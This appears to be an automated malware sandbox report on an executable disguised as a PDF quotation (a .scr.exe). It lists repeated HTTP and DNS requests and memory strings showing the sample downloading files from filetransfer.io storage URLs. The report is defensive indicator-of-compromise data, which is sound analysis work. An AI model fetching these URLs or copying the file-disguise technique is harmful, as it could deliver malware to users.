Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.io
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/eZFzMENr/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: filetransfer.io
Source: global traffic	DNS traffic detected: DNS query: s23.filetransfer.io

Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E95F000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filetransfer.io
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB25000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA79000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filetransfer.io/data-package/eZFzMENr
Source: QUOTATION_OCTQTRA071244PDF.scr.exe	String found in binary or memory: http://filetransfer.io/data-package/eZFzMENr/download
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E91A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s23.filetransfer.io
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB25000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E82A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io(
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E96D000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E976000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E833000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EA75000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB0F000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E82A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E972000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E807000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7F8000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB23000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E876000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E800000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB03000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7E6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E871000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E802000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87B000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/eZFzMENr/download
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.ioX
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetrP
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetrPX
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E999000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105EB6E000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E91A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/5LUME3vteHCP
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/8d0YtsDOnedA
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E91A000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/9QRVQG14oBWg
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/C8OPC9MoIN8L
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/EYxNoMbJWmad
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E81C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/FdQTbjLkThhR
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/FecmNNRs2mj0
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E859000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/JLKER12CLEEH
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E791000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E859000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/JNVqWjkJZeyM
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/KrgAyDYAYOu9
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/LnCn4Sq9X9QI
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E87E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/RQn9FsWdafFG
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/UOzJ7nwkJVlJ
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E9C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/VzWqBQCvAaEg
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E859000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/WRMLI4CLhfdR
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/f5l4KzAPcLFN
Source: QUOTATION_OCTQTRA071244PDF.scr.exe, 00000000.00000002.4140059577.000002105E7E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s23.filetransfer.io/storage/download/faOOXr9t1pNr
